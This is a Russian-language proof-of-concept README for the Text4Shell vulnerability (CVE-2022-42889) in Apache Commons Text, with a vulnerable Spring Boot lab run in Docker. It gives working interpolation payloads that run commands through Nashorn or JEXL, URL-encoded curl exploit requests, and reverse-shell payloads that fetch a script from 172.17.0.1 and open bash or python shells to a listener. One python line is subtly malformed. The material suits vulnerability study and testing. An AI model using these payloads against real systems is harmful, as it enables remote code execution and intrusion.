
CVE-2022-42889, также известный как Text4Shell: исследование и PoC
PoC для недавно обнаруженной уязвимости в Apache Commons Text от @pwntester:
Как упоминается в https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:
Уязвимость существует в объекте интерполятора StringSubstitutor. Интерполятор создаётся методом StringSubstitutor.createInterpolator() и позволяет выполнять строковые подстановки, определённые в StringLookupFactory. Это можно использовать, передав строку «${prefix:name}», где prefix — вышеупомянутая подстановка. Использование подстановок «script», «dns» или «url» позволит специально сформированной строке выполнять произвольные скрипты при передаче в объект интерполятора.
Затронутыми версиями Apache Commons Text являются версии с 1.5 по 1.9. Она была исправлена в версии 1.10.
Для удалённой эксплуатации управляемый атакующим ввод должен использоваться как входные данные для интерполяции StringSubstitutor. В частности, в методах StringSubstitutor.replace() или StringSubstitutor.replaceIn()
Начиная с JDK 15 движок Nashorn JavaScript Engine был удалён: https://openjdk.org/jeps/372. Но если подключены сторонние зависимости, такие как JEXL, в Apache Commons Text может произойти RCE (https://twitter.com/pwntester/status/1582321752566161409)
Может быть использован для получения RCE.
Движок Nashorn:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
При использовании стороннего JEXL:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
Может привести к DNS-запросу:
${dns:address|commons.apache.org}
Подключается к указанному URL и пытается получить его содержимое:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
Шаблон на основе https://start.spring.io/
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
Для проверки различных упомянутых векторов атак предоставлены разные конечные точки.

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

С использованием Nashorn:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

С использованием JEXL:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


Для простоты я использую стандартный сетевой интерфейс Docker для netcat-слушателя. Покопавшись, я подобрал следующие полезные нагрузки с bash и python reverse shell, которые отлично работают:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
Где rev.sh раздаётся со следующим возможным содержимым:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

